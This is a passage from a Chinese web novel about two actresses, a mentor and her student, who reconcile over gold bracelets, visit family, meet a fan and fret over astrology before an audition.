她坐在椅子上俯视苏寄欢，苏寄欢仰视她，这样的角度太少见了。 苏寄欢抓住祝星亦的手，祝星亦有些慌乱地想抽出，却被苏寄欢牢牢握着。 祝星亦瘪嘴皱着眉，耳朵烫得能煮砂锅米线。低头，苏寄欢冷峻又温柔的眼注视着她。她呼吸急促，快速避开苏寄欢的视线。 祝星亦觉得自己的意志太不坚定了，现在苏寄欢一句话没说，她都想原谅她了。 “星星，我跟你好好解释，不管你听不听，但我是真诚的。”苏寄欢抓着祝星亦的手，软软的小手又热又滑，稍微不注意就从自己手里溜走了，跟泥鳅似的。 苏寄欢握紧了些，继续说：“我……我很讨厌晏瑾年，所以很在乎你对她的态度，也在乎你对她和对我有什么不一样。你以前喜欢她，我管不了，但现在你不喜欢她了，又是我的学生，我当然更希望我会是很特别的那个。” “我只是太在乎了才那样。”苏寄欢蹙眉，张张嘴，想说什么，又咽了下去，等了片刻，才说：“不好意思，惹你生气了。你原谅不原谅都没事，我就是想把这话说开。” 说完，苏寄欢站起来，握着的手缓缓松开，她低眸看着一动不动的祝星亦，轻声说：“你不愿看到我，我等零点过后就离开，不碍你眼。现在我还想在这里坐一会儿，想跟你亲口说句新年快乐。” 鞋子哒哒两声，苏寄欢拉过椅子，在祝星亦身旁坐下。 这个角落又恢复了寂静。 噗—— 祝星亦脑袋上的火山喷发了。 她竟然……完全不知道怎么回应了。 脚尖对脚尖，祝星亦低头盯着高跟鞋看，心想真的完蛋了，这下自己说什么都不对了。 “三言两语就想要我原谅你吗？我是这么好哄的人吗？”祝星亦嘴上不饶人，“上次我惹你生气，你好几天不理我，怎么，现在跟我说两句话就要我原谅你？” 祝星亦一想到上次在白鹤岛被晾着，浑身不快。但脑海一回放白鹤岛的事，好像……好像自己做得也不对啊。 完了完了。祝星亦语塞。 “嗯，没事，你什么时候原谅我都行。”苏寄欢嘴上这么说，心里着急得很，手伸进衣兜里掏了会儿，拿出一对金镯子。 祝星亦被闪到眼，侧目看去，是色泽非常美丽的一对足金镯子。 “虽说是做了你的老师，但我也没给你什么礼物。你说要给我买金镯子，其实这个礼物不该是你给我，应当是我给你。”苏寄欢取出一个镯子，拉过祝星亦的手给她戴上。 祝星亦忙收手不愿意戴，可还没回过神儿，苏寄欢已经给她戴上了。她要取下来，怎么也取不下。 “我不要！”祝星亦烦了，冲苏寄欢吼了一句，“这个很重，我不要！” 这镯子看起来不是很宽，但往手上一戴就能感觉到重量，兴许有百十来克。她吼着去取，怎么也取不下来，还勒出一道红痕。 “你怎么这样！”祝星亦气急了，上气不接下气道：“你那个手绳都掉色了，我想送你一个新镯子是我的心意。你又是跟她比来比去，又是给我买镯子，好像是我在无理取闹一样。” 祝星亦也不知道自己怎么了，明明已经要原谅苏寄欢了，镯子一戴，她又开始生气。 她指指茫然的苏寄欢，又指指自己，眼都气红了，“我又不是等待谁喂食的鸟儿，也不是只会唱歌跳舞的漂亮玩具，我有赚钱，我手里有钱，我可以给你买礼物，以来表达我对你的……我对你的……” 她看着好像不太能听懂的苏寄欢，下嘴唇颤抖了下，有些愁怨的桃花眼结了层霜，声音越来越低，“我对你的……我对你的……” 她愣愣的，想了好久才说：“我对你的，敬爱，敬爱。” 重复了敬爱二字，祝星亦仰着头，有了些脾气，“不行吗？难道不行吗？我穷疯了吗？我只能接受你给我的东西吗？我只能等待你的施舍吗？” “你给我很多，但我也可以给你很多，可你为什么不要呢？”祝星亦忽然觉得自己委屈得不得了，她也不清楚为什么苏寄欢总是不要她的礼物，大的苏寄欢要还，小的苏寄欢也要还，好像自己的礼物拿在手里会烫手似的。 “是你觉得我送你的礼物你会拿不出手吗？可是你有在珍惜那个手绳，我想不明白了，你怎么会不要呢？”祝星亦低着头，她试图把镯子取下，又失败了，“我也想给你很多东西，我想把我觉得最好的，或者是很宝贵的东西也都给你。我不懂玉，不懂那些品牌，但我觉得金子是最好的东西，你为什么不要呢？” 望着手上的红痕，祝星亦自嘲般笑笑，“你总说我们是师徒，要亲密点才行。送你个礼物你就这样那样，还总说我把你放得高高的。呵，你好像总在可怜我，觉得我是个很卑微的人。” “是，我是有点卑微，也求你可怜我了，但是……”祝星亦的声带被拉紧，干涩得难受，“我不想要你看轻我，哪怕我现在什么都没有，我也不想要你看轻我。” 她再次用力取那个镯子，这次她终于取了下来。她沉默地把镯子放回苏寄欢手里，忍着不快笑出声：“我想给你的给不出去的话，那就算了。” 后台依旧是一片寂静，只有远处晚会传来的音乐声，仿佛隔着一层纱，隐隐约约地飘荡在这略显清冷的角落。 灯光昏黄，打在两人身上，拉出长长的影子，她们像是两个沉默的雕塑。 苏寄欢有些落寞地站着，紧握着被退回的金镯子。 好像哪里出问题了，又好像全都错了。 怎么会，怎么会是这样的结果。 她从未看轻过她，也从未…… 苏寄欢茫然地看着镯子，忽然明白了什么。 自己这样的身份，无论如何都不能给她足够的安全感。 明明知道她筑起了高墙，自己只想着打破，怎么不想想还在拿着砖块的她呢？ 苏寄欢转头胡乱看了几眼，又呆呆地望着前方，但什么都没看进去。 她抖着唇，张了几次嘴，终究没能发出声。镯子也似有千斤重，快要拿不住了。 空气仿佛都凝固了，压抑的氛围在蔓延。一点，一点，侵蚀着她们。 苏寄欢盯着手里的镯子沉默好久好久，终于，她像是下了很大的决心一般，脚步沉重地朝着垃圾桶走去。 祝星亦一下子慌了神，她没想到苏寄欢会有这样的举动，连忙追上去，一把拉住苏寄欢的手，焦急喊：“你干什么！你要丢了吗！” 雪山一样的人缓缓抬起头，苏寄欢顿了顿，想要说些什么，又不知道从何说起。 她深吸一口气试图让自己清醒些，可脑子里仍旧是一片混乱。 眨了眨有些湿润的眼睛，苏寄欢紧握着那只镯子，勉强挤出一丝笑容，声音带着哽咽：“可是，我真的不知道该怎么办了，我觉得我做什么说什么都是错的。” 她的身子在颤抖着，没握镯子的手不自觉地揪着衣角，像是一个做错了事等待惩罚的孩子。 舞台那边依旧是嘈杂无比，音乐声、人们的欢声笑语声交织在一起，热闹得很。 冰冷的空气挤压在这里，祝星亦抬头看苏寄欢，这样失魂落魄的模样，以前从未见过可仔细想想，苏寄欢好像什么都没做错，可又感觉她好像什么都做错了。 “我不知道怎么解决这件事，星星，你能不能告诉我？我应该怎么做？如果你告诉我的话，我应该会明白。”苏寄欢尽力平复自己的情绪，但话一说出来就打着颤儿。 盯着即将被丢掉的镯子，祝星亦咬着牙，犹豫了一下，小声说：“你让我给你买个金镯子就够了。” 苏寄欢一听，急忙抓着祝星亦的手臂，忙不迭地问：“真的吗星星？” 她扑过来，好闻的柚子花香钻进脑袋。 祝星亦看她那高兴的样子，又离自己这么近，别过头，说：“我明天要回家找我妈妈，你要是有空，可以去我家做做客，然后我带你去买镯子，我家附近有周大福。” 苏寄欢一听“妈妈”二字，有些开心，忙握着祝星亦的手，欣喜地嗯了声。 祝星亦把手抽出来，板着脸说：“但这并不代表我原谅你了，你还有待考核。” 苏寄欢也不介意，快速把镯子揣兜里，跟着祝星亦回了角落，“好，期待祝老师的考核～” 被叫祝老师，祝星亦有些不习惯，只是闷闷嗯了声。 坐着，随意聊聊天，零点的倒计时开始了。 舞台那边传来了主持人响亮的声音：“十、九、八……” 祝星亦和苏寄欢也跟着一起小声倒数起来。 “三、二、一！新年快乐！” 新年的钟声敲响，漫天彩花。 苏寄欢故意放慢了速度，眼睛亮晶晶地看着祝星亦，等着她先说新年快乐。 祝星亦转脸笑着恭贺：“新年快乐。” 苏寄欢这才回她：“新年快乐，星星。” 苏寄欢鼻头红红的，祝星亦望着，欲言又止。 祝星亦觉得自己没有做错，分明是苏寄欢不对。可一看苏寄欢这种模样，她又觉得自己不该责怪苏寄欢。 什么啊，难道要因为苏寄欢的美色，就这么轻易原谅她吗？这也太惯着苏寄欢了吧。 明明上次苏寄欢好几天不理她，而自己呢？也只是不回苏寄欢的消息而已！ 而已！ “带特产的事……”祝星亦挠挠脖子，低着头，“我不想给你带，我讨厌你，不想给你带。” 苏寄欢温和地笑了，“好，我听你的。” 岭州最好的特产，可爱又漂亮的小狐狸，已经在身边了。 //// 齐漫姝得知苏寄欢要去祝星亦家，惊得头都要掉了。 “你们没事吧？已经见过双方家长了？”电话那头的齐漫姝饭都顾不上吃，叽叽喳喳问来问去。 祝星亦忙把手机音量关低，瞄了眼在客厅和祝霜聊天的苏寄欢，回头说：“你这什么跟什么啊，我就是邀她来我家，她也同意了。而且我俩刚和好，你别多嘴。” 齐漫姝才不信，想到祝星亦能带苏寄欢回家，有些羡慕：“你啊你，背着我吃这么好。” “吃什么啊，你一天到晚能不能别老是想那些东西。”祝星亦真是服了齐漫姝这个脑子，这人怎么跟宋姿缈那个人一样一样的呢？就爱瞎造谣。 “我下午还要带她买金镯子呢。”祝星亦坐在阳台椅子上伸手感受和煦的阳光，“不知道金店人多不多。” 一听祝星亦要给苏寄欢买金镯子，好了，齐漫姝也不羡慕祝星亦了，只剩羡慕苏寄欢的想法。 “你给她买金镯子！你咋不给我买啊！”齐漫姝气愤不已，“我不是你的好姐妹了吗！我们可是动漫星城啊！我们是最好的星空动漫cp！你怎么给她买，不宠幸宠幸我呢！” 那可是金镯子啊！齐漫姝羡慕得牙痒痒。 “你那个cp名难听死了……”祝星亦欲哭无泪，“你缺那点金镯子吗？嗯？齐大小姐？” 齐漫姝翻白眼：“祝大星，你要不要问问苏小姐缺那点金镯子吗？她什么身家我什么身家，她才不缺的好吧！” 被齐漫姝这么一说，祝星亦心里也有了小九九。 也是啊，苏寄欢缺那点金镯子吗？ 祝星亦最喜欢金子了，从小到大她都觉得金子是最好最好的东西。以前见一些同学戴着金项链金首饰，祝星亦可羡慕了。 她家里条件不好，也一直没什么首饰，但她也不太喜欢首饰，戴上去跳舞不方便。 出道后因为要做服装造型管理，祝星亦才要戴些首饰。手上这个玉镯子…… 祝星亦低头端详镯子，心想，这可是她戴的第一个贵重首饰。 苏寄欢肯定不缺首饰，金的也好，银的也好，玉的也好，钻石的也好，珍珠的也好，肯定不缺。 只是自己缺罢了。 她不仅缺，也没什么见识，只觉得金子是最好的，不然她肯定送苏寄欢一个好看又贵重的礼物。 “歪歪？歪？祝大星，你有没有听我讲话啊？”齐漫姝喊了几声，没人应，不耐烦了。 祝星亦回过神来，说：“听到了。她不缺……是她的事，我的心意到了就行。” “嘛嘛，也是啊，你心意到了就成，她肯定不会嫌弃你的。嫌弃你也不会说出来，哎，你要不给她买克数多一点的吧，你要是没钱，我资助你点儿，送礼物嘛，肯定要大气点才好。”齐漫姝给她出主意。 “我肯定给她买大——金镯子啊，买那几克的多拿不出手。” 聊了几句，挂了电话。 祝星亦查看今日金价，买大金镯子，买克数重的，那得多准备点钱才行。她拉开阳台的落地窗走向客厅，祝霜和苏寄欢聊得正开心。 妹妹祝霓安冲祝星亦招招手：“姐，来坐这里！” 安安还在初三，刚睡醒就看到祝星亦带着苏寄欢来家里，整个人激动得不得了，缠着苏寄欢又是拍照又是签名。 她又拉着祝星亦讲了一大堆废话，问祝星亦过得好不好，问祝星亦还拍不拍戏，问祝星亦这段时间辛苦不辛苦。 安安可为祝星亦骄傲了，逢人就说自己有个大明星姐姐。 祝星亦羞愧得很，她才不是大明星，她现在只是一个小明星。 每每祝星亦这样说，安安总会反驳。 在她心里，祝星亦就是超级大明星，她可是从小都把*祝星亦视为榜样呢。 “姐，寄欢姐姐跟我说你俩拍戏的趣事，可有趣了。”安安拉着祝星亦坐下，对这些东西很感兴趣，“姐，我也想走艺术生路，我想考戏剧文学，我想有一天，你可以在舞台上演我写的剧本。” 安安从小就喜欢写点东西，小学时就开始写小说，经常记录自己的奇思妙想。前几天学校晚会，她写了个舞台剧剧本，和同学一起编排舞台剧，效果可不错了。 “你想做什么，就大胆去做。”祝星亦拍拍安安的肩，“我会支持你。” 苏寄欢也在一旁说：“想做什么就去做，不过你现在首要目的是学习好文化课，如果你需要，我会托我三姨给你找些资料，你平时看一看，先吸收一下知识。” 祝霜也说：“对，你想做什么就做什么，我当初也是这样对你姐姐说的。” 苦过累过十多年，现在也是苦尽甘来了。 祝霜满眼欣慰地看着祝星亦说：“你姐姐就是你的榜样，她会成功，你也一定会。只要有梦想，只要愿意为之努力，我都会支持的。” 安安用力点头，她站起来，握着拳一身干劲儿，“谢谢你们支持，我一定会像姐，像寄欢姐姐一样努力的！你们会成功，我肯定也会成功的！我一定会成为很优秀的剧作家！” 真好啊。 祝星亦仰着头看一脸自信，又十分坚定安安，感叹道。 这就是榜样的力量。 祝星亦很清楚[榜样］[信仰］有多么大的影响力。 追着光，才会慢慢成为光。 欢笑着，祝星亦默默看向身旁的苏寄欢。 她也在仰望她、追逐她，直至成为她。 她也是她的那道光。 周大福在附近的商场里，午后，踩着暖阳，祝星亦和苏寄欢一起出门。 苏寄欢没去开车，揣着车钥匙说想跟祝星亦走路溜达过去。 反正也近，开车也是麻烦，祝星亦点点头，带她步行。 麓城的冬天很冷，好在建筑比较密集，风不是很大。 祝星亦裹紧衣服慢悠悠晒着暖，苏寄欢偏头问：“安安喊我寄欢姐姐，我怎么从来没听你这样喊过，你只会喊我苏老师。” 第52章 我说我想她了 祝星亦把下巴缩在衣领里，声音含糊：“她是她，我是我，我不太习惯喊别人姐姐。” 而且……上次明明是苏寄欢不要她喊姐姐的，怎么现在又非得让自己喊。什么啊，要自己干什么就干什么吗？！ 祝星亦呶呶嘴，迈着小碎步走快了些。 苏寄欢跟着走快些，追问：“为什么？这个也不难喊出口吧？” 苏寄欢顿了下，笑着说：“你看，我就能喊你姐姐。星星姐姐，星星姐姐。你看，不难的。” 星星姐姐，星星姐姐。 提到[姐姐］这个称呼，祝星亦就不高兴，她没理苏寄欢，自顾自走着。 今天俩人出行裹得很严实，素颜，又戴着帽子口罩，行程也没透露。一前一后快步走着，跟小偷似的。 紧赶慢赶追着祝星亦，苏寄欢叹气。 哎，好吧，不喊就不喊。 苏寄欢搞不清楚祝星亦的想法，只能默默跟着走。 商场人很多，苏寄欢好久没这样悠闲逛商场了，每次出来都是一群人围着。今天是来买金饰，但她不想直奔金店，喊着祝星亦要去其他地方转转。 去了一间不知道什么品牌的服装店，祝星亦进去转了半圈儿，导购小姐姐小跑着过去，低声问：“你……你是不是祝星亦啊！” 祝星亦瞄了眼镜子，哎？这也能认出。 祝星亦没回答，导购小姐姐踩着碎步兴高采烈道：“真的是你，我从你眼睛认出的你。我我我，我也是[星海］！我会唱你的应援曲：[你来一趟/载起漫天星光/我看到你奔跑的勇气/不可阻挡//你梦一场/热爱声音嘹亮/我知道你坚定的理想/永不沮丧……］” 这个曲子叫《星力量》，是叶松萝主策划的祝星亦个人应援曲，应援曲是101位粉丝合唱的，特别有力量。 这首粉丝应援曲在总决赛前放出来，那时祝星亦还在为各种舆论痛苦，为身上的压力崩溃。 但听了这首曲子，祝星亦都觉得自己有力量了，忍着那些坏情绪去总决赛拼一把。 祝星亦最感谢粉丝了，她感谢每一个支持她、爱她的粉丝。她就是吃粉丝这碗饭起来的爱豆，她即便以后做了演员，也会对粉丝真诚。 粉丝是力量，爱是力量。 说实在的，祝星亦觉得自己对不起粉丝。前世她真的做了很多错的选择，也让粉丝失望过。比如选了很多烂剧本，演了很多烂角色。 祝星亦给自己找理由，那只是因为她没得选而已。晏瑾年强行塞给她的东西，她拒绝不了，只能对不起粉丝。 这辈子，这辈子她不会辜负粉丝的。 作品，她的每个大大小小的作品，都会对得起粉丝，对得起自己。 她也会努力站得高高的，她要成为粉丝拿得出手的人。 “我是。”祝星亦取下一点口罩，朝这位[星海］微笑。 导购小姐姐眼里泛着泪花，声音都有点颤抖，“终于，终于见到你了。” 她捂着嘴巴，擦了下眼泪哽咽道：“我工作忙，虽然我也在麓城，但是真的没办法像其他粉丝一样去见你，只能在网上看你，给你做数据。” 她想到了什么，忙去自己包里翻东西，然后拿出来双手递给祝星亦，“星星，这是我自己做的黏土人，随身带着的。我现在能送你的礼物只有这个了，啊，你要买衣服是吧，我送你一件衣服怎么样！” 祝星亦哪能让粉丝送自己衣服，接过黏土人就说不用了，“这个就很好，我很喜欢。” 祝星亦笑着晃了晃黏土人。 聊了两句，导购小姐姐弯腰看在看衣服的苏寄欢，问：“星星，那个是苏寄欢小姐吧，你跟苏寄欢小姐关系那么好呀！元旦还能出来一起逛街呢。” 祝星亦转头看了眼苏寄欢，点点头，“是，关系还不错。你要不要和她合影，或者要个签名？” “哇，可以吗？！” “嗯，我带你过去。” 祝星亦带她去跟苏寄欢合影，合完影，导购握着手机有些期待：“星星，我们三个拍一张怎么样？” 祝星亦用眼神询问苏寄欢，苏寄欢点头。 两人站一起，导购在前面。 举起手机，觉得动作干巴巴的，导购回头：“你们可以比个心吗？在脸颊比就行，左一个，右一个。” 祝星亦马上在脸颊比心。 却见苏寄欢比画半天，也没成功比出个心来。 “苏老师，不是这样比的。”祝星亦上前纠正，“要笑着，比在这里，手的弧度从眼睛这里，可以形成完整的心形。” 祝星亦伸出小手在苏寄欢脸上比划了下，又在自己脸上比划比划。 “苏老师，你跟我学，这样。”祝星亦又给苏寄欢示范了下。 苏寄欢还是没学会，比不对地方。 “苏老师，你好笨啊，位置都找不对。”祝星亦心里急得很，抓起苏寄欢的手掰好弧度，然后认认真真放在苏寄欢脸上。 这下对了。 笨，位置都找不对。 苏寄欢委屈。 委屈也就算了，又不能表现自己委屈，不然又该被骂了。 苏寄欢闭上嘴，老老实实配合拍照。 出店门，苏寄欢跟在祝星亦身旁。 自和那位[星海］合影完，祝星亦的心情好像一直都不错，走着哼着歌。 很耳熟，听了会儿苏寄欢辨认出那是什么歌。 是《星力量》，祝星亦的粉丝应援曲。 苏寄欢以前搜索祝星亦的信息的时候听过这首歌。 [磨破的手掌/入局的迷茫/越过万重山的阻挡/希望在前方/是光的模样//滚烫的心脏/肆意的狂妄/拾起这一次的昂扬/你要去前方/看人间晴朗］ “你也会唱？”听苏寄欢小声唱，祝星亦有些讶异。 苏寄欢点头：“是啊，之前听过。” “听，过？” “那时候想要了解你，没有什么渠道，只能看一些你的舞台，听一听你唱的歌，还有你粉丝给你唱的歌。”因为不是爱豆，苏寄欢没体验过粉丝给她写应援曲的感受。 苏寄欢觉得那首歌很好听，“你在前方，人间晴朗，我觉得歌词也好得很。” “你在前方，人间晴朗。”祝星亦重复这句歌词，转头看苏寄欢。 商场里人来人往，她们裹得严实，只能看到彼此的眼睛。 祝星亦望向苏寄欢清凌凌的眸子，笑着重复那句话，“你在前方，人间晴朗。” “今天天气也很好呢。”苏寄欢说，这几天麓城天气都很好，云少，太阳暖乎乎的。 天气晴。今天天气晴，明天也是天气晴。有她在，每天都会是晴天。 想到一些不高兴的事，苏寄欢往她身边走了走，小声问：“你还生气吗？” 祝星亦双手插兜，扬着下巴哼了一个转弯儿的调子，“生着呢。” “那你给我买完金镯子的话，还生吗？” “生。” 听了这话，苏寄欢原是觉得心里难过，垂着眼看祝星亦，双手插袋，一脸冷酷的样子，这副模样实在可爱。 苏寄欢看着看着，忽然笑了出来。 祝星亦蹙眉，这人怎么回事，还笑？ “你笑什么？”祝星亦不高兴。 苏寄欢哼了哼那首应援曲，深吸一口气笑答：“我笑天朗气清，是个好日子。” 慢悠悠走着，苏寄欢偏头问：“你知道宇宙中最强的炼金术师是谁吗？” “宇宙最强炼金术师？”祝星亦摇头问：“谁啊？有这号人？” “不是人，是星体。两颗互相碰撞的中子星，就是最强炼金术师。” 祝星亦完全没听过这个，“两颗碰撞的中子星？是最强炼金术师？她们会生产黄金？” 苏寄欢点头，“对。大质量恒星走到生命尽头会坍缩成中子星，而两颗中子星相遇就会互相吸引、爆炸、撕裂，会新生，也会生产黄金。对她们来说，终点也意味着起点。我们现在地球上的黄金，就是上一次中子星碰撞和超新星爆炸的产物。” 祝星亦还没听过这个说法，“真的啊？那黄金岂不就是……星星碎片了？一克一克黄金，都是星星的碎片。” 苏寄欢弯唇笑，“这个说法很浪漫，但是两颗中子星的碰撞可是极其恐怖的。” “可是她们能生产黄金诶。”祝星亦脑海里浮现两颗中子星碰撞后，生产出一座金山砸在她身上，“能生产黄金的星星，能是什么坏星星？” 苏寄欢看她浮想联翩的模样，忍不住笑出声，“嗯，确实是两颗好星星。那……现在我们就要去购买星星碎片了。” 两人的脚步停下，祝星亦抬头看店面，是周大福。 “嗯。”祝星亦迈进金店，“星星碎片马上就能送给你。” /// “你买这么大的金镯子呢。”打着电话，齐漫姝放大苏寄欢的微博照片感叹。 看时间，想来祝星亦送完镯子苏寄欢就发自拍了。 还真是迅速呢。 齐漫姝仔细研究苏寄欢的九宫格照片，哀叹道：“你说我这咋和她卖cp啊，一个镯子至于拍九张吗？” “咋？你还没死心？”祝星亦想不明白齐漫姝怎么老揪着和苏寄欢卖cp不放了，“我下周去试镜，下下周二我过生日，到时候和我队友去过，你也来呗。” “你咋不和苏小姐过啊？”齐漫姝好奇。 “她那时候都进组了，我喊她干啥。”祝星亦已经提前告知苏寄欢过生日的事情，苏寄欢说会给祝星亦补过，祝星亦觉得麻烦就拒绝了。 “1月11日，摩羯座。1月的摩羯大多数都是事业重于感情，极端任性，固执反骨，最重要的是，超难追，你……” “你还信星座啊？”祝星亦竟不知齐漫姝喜欢研究这个，“这种东西套谁身上都能中一点，骗人的东西。” 祝星亦不太研究这些东西，属相啊星座啊mbti啊五行啊，她知道些皮毛，但她都不研究。 她觉得这些东西都是欺骗自己的，假得很，很多博主都做这些东西分析来分析去的，居然真把博主的话当真理，讨论得沸沸扬扬。 骗局，根本就是骗局，谁信谁傻。 齐漫姝敲敲桌子强调：“这怎么能是骗人呢？这可是玄学，你别不信。” “好好好，你信吧。” 看她那么执着不信，齐漫姝岔开话题：“哎，祝大星我跟你说，你去试镜你喜欢的角色，我也去试镜我喜欢的角色了。” 以往齐漫姝都是公司给她接什么角色她就演什么，认识祝星亦之后，每天听祝星亦分析这个角色那个角色，她自己也对试镜有兴趣了。 “我准备试镜一个电影的配角，那个角色我肯定可以拿下，简直是为我量身定做！”齐漫姝说起这个角色，简直想把祝星亦从电话那头拉过来好好聊聊。 她也十分感谢祝星亦，要不是祝星亦给她当榜样，她可能根本就不想着去争取自己想演的角色呢。 “真的？哈哈哈，你要是试镜也成功，咱俩不得吃顿大餐？”祝星亦为齐漫姝的改变感到开心，“那就提前祝福咱俩试镜都成功啦！” “祝福！” 祝星亦挂断电话后，便开始翻看资料。这些资料皆是由她亲自梳理，并已提交给苏寄欢审阅过的。 怎么说她都是苏寄欢的好学生，梳理的资料还算过得去。 “杨易颜人设解析：女二号，生于a城富豪之家……自私自利，不择手段，擅长伪装……天蝎座……”祝星亦看着资料开始跑神儿。 苏寄欢的生日是11月6日，天蝎座。 “天蝎座，11月的天蝎……”祝星亦推开资料去搜天蝎座。 【11月1号到12号的天蝎是纯血天蝎，冷酷但柔情，喜欢划清圈子，性格严肃又低调，压抑又深思。】 祝星亦撑着下巴回想苏寄欢，好像…… 诶？祝星亦忽然坐直了身子。 “这……这算全中吗？这么神奇吗？”祝星亦有点不信邪，又翻了一些解析，好像都大差不差。 “不会吧？这么准？”祝星亦抱着头惊呼，她还是不太信，找了网上很火的星座博主桃黑黑看关于天蝎座的视频。 “大家好我是桃黑黑，今天给大家分析一下天蝎座。天蝎座是一种什么人呢？如果要用一个词来形容的话，那就是……” 祝星亦翻开评论，七嘴八舌的讨论，感觉好像都能对应苏寄欢。 前世的苏寄欢是个很淡漠的人，至少祝星亦觉得她对自己淡漠。 关于苏寄欢，她都是从别人的口中得知的，不可攀折的花儿，冰山一样的人。 从晏瑾年口中她也得知很多。 总结下来就是一句话：【苏寄欢不是什么好东西】 所以今生遇到苏寄欢后，她对苏寄欢一直警惕着，生怕这个和晏瑾年站在一样位置的人会害了自己。 虽然祝星亦直到现在都对苏寄欢存有警惕之心，但…… 但…… 苏寄欢是个好人，也是她敬爱的人。 虽然苏寄欢看起来冷冰冰的，但实际接触却能感受到她的温柔。 很能拎得清，有时候老气横秋的，对生活和工作都蛮严肃，性格确实有点压抑，而且还…… 真的对得上天蝎座。 祝星亦认真看关于分析天蝎座的视频，她眉头紧皱，听到博主说到天蝎座的某些习惯，跟着点头，听到博主说天蝎座某些让人费解的行为，也跟着点头。 光听不行，她拿起桌子上的笔纸开始记笔记。 “天蝎座，是12星座里面最想知道自己在别人眼里，是什么样的人的星座。天蝎座……” 她看到这里暂停了一下，马上拿过手机给苏寄欢发一条消息。 祝星亦：【苏老师，你在我眼里是个很好很好的人】 刚发完，祝星亦准备继续看视频，看到聊天框上显示[对方正在输入中……］ [对方正在输入中……］显示了好久好久，苏寄欢的消息才发过来。 苏寄欢：【怎么了？】 祝星亦：【没什么，我只想让你知道你在我心里是什么样的人】 苏寄欢：【除了这些，还有别的吗？】 “天蝎座很喜欢揣测别人，表面可能表现不出来，但心里会想很多。哪怕是一句话，一个字，都会想很多。比如说，你要是突然跟天蝎座说，你真好。天蝎座就会想，什么意思？到底什么意思？为什么会突然说这些话，难道……” 听着桃黑黑的分析，祝星亦的大脑宕机了。 哎！怎么办啊！苏寄欢不会开始揣测自己了吧！ 她撂下手机抱着头大喊：“啊啊啊！怎么办啊！” 看着自己发出来的消息，她手忙脚乱开始撤回消息。 怎么只能撤回刚刚那一句啊，这样看起来更奇怪了！ “要是惹了天蝎座，那你真的会被折磨得求生不得求死不能。天蝎座是个恩怨很分明的人……” 啪—— 手机从祝星亦手里掉落。 完蛋了呀，发了莫名其妙的话，又撤回，这不得被苏寄欢揣测到裤衩都没了啊。 祝星亦脑袋发麻，微信那边，苏寄欢发出语音通话申请。 一道惊雷劈在她头上。 不是吧，这么快就要兴师问罪了！报复心这么强吗！ 祝星亦满头大汗，于是她选择不接电话。 铃声停止。 第二个电话又打了过来。 “一定要在细节上注意好，如果你对天蝎座已读不回，或者是不接天蝎座的电话，呐，她们肯定会把这个仇记下。虽然嘴上不说，但……” “喂，苏老师。”祝星亦火速接电话。 “你发那个消息，是什么意思啊？” 祝星亦心想完了完了，已经开始揣测了。 “啊，我……我……”祝星亦实在不知道如何解释，结结巴巴嗯嗯啊啊好久，打了个哈欠说：“就是睡前感觉，感觉你……你……你很好。” 对方发出疑问：“这才十点，你管十点叫睡前？你不是说自己两点才睡的吗？” “我……” “是有什么想跟我说的吗？” “我……没有，没有。” “真没有？” 祝星亦泄了气，趴在桌子上一脸丧气道：“我就是突然想到你了，就想跟你说你很好，我没别的意思。” “怎么会突然想到我呢？” 祝星亦叹气，“就是，突然想你了。” 电话那端的人沉默了好久好久，久到祝星亦以为她挂了。 许久，对方声音软了许多，说：“你怎么会突然想我啊，我们昨天还在见面。” “就……就突然想了呗。” “我今天进组了，开拍后可能会有点忙，不能去见你。我到时候看看，争取在你生日那天出来陪你过生日，如果不能的话……” 怎么会扯到这里啊，祝星亦缩着脖子摇头说：“不用了，真不用了。” “真的很想我的话，你试镜完可以来找我。” “我……好。” 等了会儿，祝星亦准备说点话挂电话，对方又开始说话了。 “我不见你也会想你。”对方声音有些小，“你在我眼里，也是一个很好的人。” 祝星亦沉默了。 “晚安，星星。” 对方挂断电话。 她僵着身子坐了好久，直到感觉脸上好像有什么裂了，她才抬手摸自己的脸。 原来不是脸裂了，是脸太烫了。 “天蝎座喜欢你，不一定会主动追你，她们往往很会克制自己。天蝎座和风向不一样……” 看着自动下一条播放的视频，祝星亦趴在桌子上，整张脸埋在臂弯里。 过了会儿，她也不知道怎么想的，开始搜索[天蝎和摩羯的匹配度］。 “极致互补，宿命的对垒。”看着搜出来的结果，祝星亦耳朵发烧，“还是灵魂伴侣……真的是这样吗？” 祝星亦又往下滑动分析，“阴王vs万王之王，火星撞地球，是最不匹配的两个星座，在一起只会互相折磨。” 天啊，是这样吗？真的是这样吗？ 祝星亦整个人都蔫了。 她丧着脸拿起手机去大地瓜上搜，搜到[摩羯会逼疯天蝎］，不由得喃喃：“怎么可能呢？关系怎么会糟糕成这样呢？” 看了太多说天蝎和摩羯不合适的笔记，祝星亦心烦意乱，等瞥到手边的资料，她猛地拍自己头。 在想什么啊！什么天蝎和摩羯的匹配度，怎么能这样编排自己和苏寄欢啊！ “冷静！”祝星亦深吸一口气，试图让自己情绪平复下来。 很快，她不再胡思乱想。 不能这样想，不能用这样的想法玷污苏寄欢。 “工作，工作重要，别想了。”祝星亦很快从那份情绪抽离出来。 试镜的地点在麓枫公寓，等待试镜的时候，祝星亦翻看演员群里的聊天。 有人正在讨论ilmeth影视即将筹备的电影《沉默的外乡人》。 这部戏的原著《1994杀》获得过很多奖项，是一个非常出色的悬疑故事。 ilmeth影视是非常厉害的影业，总部ilmeth文化更是传媒行业顶尖的存在。ilmeth文化是做营销广告出身，后来家大业大，涉足各个圈子不说，还都做到了顶尖。 ilmeth的艺人更是捧一个火一个，不管是黑红还是其他红，只要ilmeth想捧一个人，那个人怎么都能火起来。 营销广告出身，最会做的就是营销和话题。ilmeth出品的电影，更是出一部就会在热搜上挂很久。 热度、讨论度、话题度，是ilmeth追求的，演了她们的电影，想不收获话题，ilmeth都不愿意。 看着ilmeth筹备的消息，预计今年8月份开始筹备选角。 还有8个月才开始选角呢。 祝星亦翻看自己的简历，这怎么都不够给ilmeth投简历啊。万一试镜不上《和你奔向四季》，错失一个机会，还要找下一个机会才能给自己的履历增添光彩。 对对，万一试镜失败，还能找下一个机会，现在祝星亦作品不多，必须要多点作品才能填补自己空荡荡的简历。 祝星亦赶忙去新通告app里去看各种组讯。 “您好，祝小姐。”工作人员来到等候厅，“请您进去试镜。” 被点名的祝星亦放下手机，跟着进去后，望着导演和其他几个负责选角的人，有些紧张。 李秀恩跷着二郎腿，微笑着跟祝星亦说：“来，先自我介绍一下吧。” 上次祝星亦和李秀恩在苏寄欢的私宴上见过面，这几个人里面，祝星亦也就见过李秀恩。 李秀恩不似黎芷恩那般活泼，听苏寄欢说她工作虽然严肃，但为人比较佛系。 